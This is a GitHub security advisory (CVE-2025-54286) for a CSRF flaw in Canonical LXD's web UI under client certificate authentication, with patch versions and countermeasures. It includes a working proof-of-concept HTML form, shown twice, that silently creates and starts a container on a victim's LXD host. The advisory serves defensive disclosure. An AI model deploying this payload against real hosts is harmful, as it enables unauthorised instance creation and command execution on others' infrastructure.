GHSA-p8hw-rfjg-689h
Vulnerability from github
7.5 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
Description
OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.
However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.
Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type
is text/plain
or application/x-www-form-urlencoded
, CSRF attacks exploiting HTML form submissions are possible.
Reproduction Steps
- Prepare a malicious website controlled by the attacker
- Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:
This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.
Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation.
```html
const i = document.getElementById('input'); i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`; document.getElementById('form').submit();```
- Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2
- Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started
Risk
The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.
Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.
Countermeasures
The most effective countermeasure is to strictly enforce Content-Type
validation at API endpoints.
Specifically, change the implementation to reject requests when Content-Type
is not application/json
. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.
Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.
Patches
| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Fixed in LXD 5.0.5 | | 4.0 | Ignored - No web UI |
References
Reported by GMO Flatt Security Inc.
{ "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/canonical/lxd" }, "ranges": [ { "events": [ { "introduced": "5.0" }, { "fixed": "5.0.5" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/canonical/lxd" }, "ranges": [ { "events": [ { "introduced": "5.1" }, { "fixed": "5.21.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/canonical/lxd" }, "ranges": [ { "events": [ { "introduced": "6.0" }, { "fixed": "6.5" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "Go", "name": "github.com/canonical/lxd" }, "ranges": [ { "events": [ { "introduced": "0.0.0-20220401034332-1e1349e3cbf3" }, { "fixed": "0.0.0-20250827065555-0494f5d47e41" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-54286" ], "database_specific": { "cwe_ids": [ "CWE-352" ], "github_reviewed": true, "github_reviewed_at": "2025-10-02T21:23:44Z", "nvd_published_at": "2025-10-02T10:15:38Z", "severity": "HIGH" }, "details": "### Description\nOIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.\n\nHowever, since the SameSite concept does not apply to client certificates, CSRF protection that doesn\u0027t rely on the SameSite attribute is necessary.\n\nNote that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD\u0027s API parses request bodies as JSON even when `Content-Type` is `text/plain` or `application/x-www-form-urlencoded`, CSRF attacks exploiting HTML form submissions are possible.\n\n### Reproduction Steps\n1. Prepare a malicious website controlled by the attacker\n2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:\n\nThis exploit code automatically sends a JSON string as text/plain to create an instance when rendered.\n\nNote that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. \nThis is typically set in the default profile of projects created after storage pool creation.\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform enctype=\"text/plain\" method=\"POST\" action=\"https://lxd-host:8443/1.0/instances?project=default\u0026target=\" id=\"form\"\u003e\n\u003cinput type=\"hidden\" name=\u0027{\"\u0027 id=\"input\"\u003e\n\u003cinput type=\"submit\"\u003e\n\u003c/form\u003e\n\u003cscript\u003e\nconst i = document.getElementById(\u0027input\u0027);\ni.value = `\":123,\"name\":\"poc\",\"type\":\"container\",\"profiles\":[\"default\"], \"source\":{\"alias\":\"24.04\",\"mode\":\"pull\",\"protocol\":\"simplestreams\",\"server\":\"https://cloud-images.ubuntu.com/releases\",\"type\":\"image\"},\"devices\":{},\"config\":{},\"start\":true}`;\ndocument.getElementById(\u0027form\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2\n4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started\n\n### Risk\nThe attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.\n\nPossible actions through the attack include, depending on the victim\u0027s permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.\n\n### Countermeasures\nThe most effective countermeasure is to strictly enforce `Content-Type` validation at API endpoints. \nSpecifically, change the implementation to reject requests when `Content-Type` is not `application/json`. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.\n\nAdditionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.\n\n### Patches\n\n| LXD Series | Status |\n| ------------- | ------------- |\n| 6 | Fixed in LXD 6.5 |\n| 5.21 | Fixed in LXD 5.21.4 |\n| 5.0 | Fixed in LXD 5.0.5 |\n| 4.0 | Ignored - No web UI |\n\n### References\nReported by GMO Flatt Security Inc.", "id": "GHSA-p8hw-rfjg-689h", "modified": "2025-10-02T21:23:44Z", "published": "2025-10-02T21:23:44Z", "references": [ { "type": "WEB", "url": "https://github.com/canonical/lxd/security/advisories/GHSA-p8hw-rfjg-689h" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54286" }, { "type": "PACKAGE", "url": "https://github.com/canonical/lxd" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L", "type": "CVSS_V4" } ], "summary": "Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.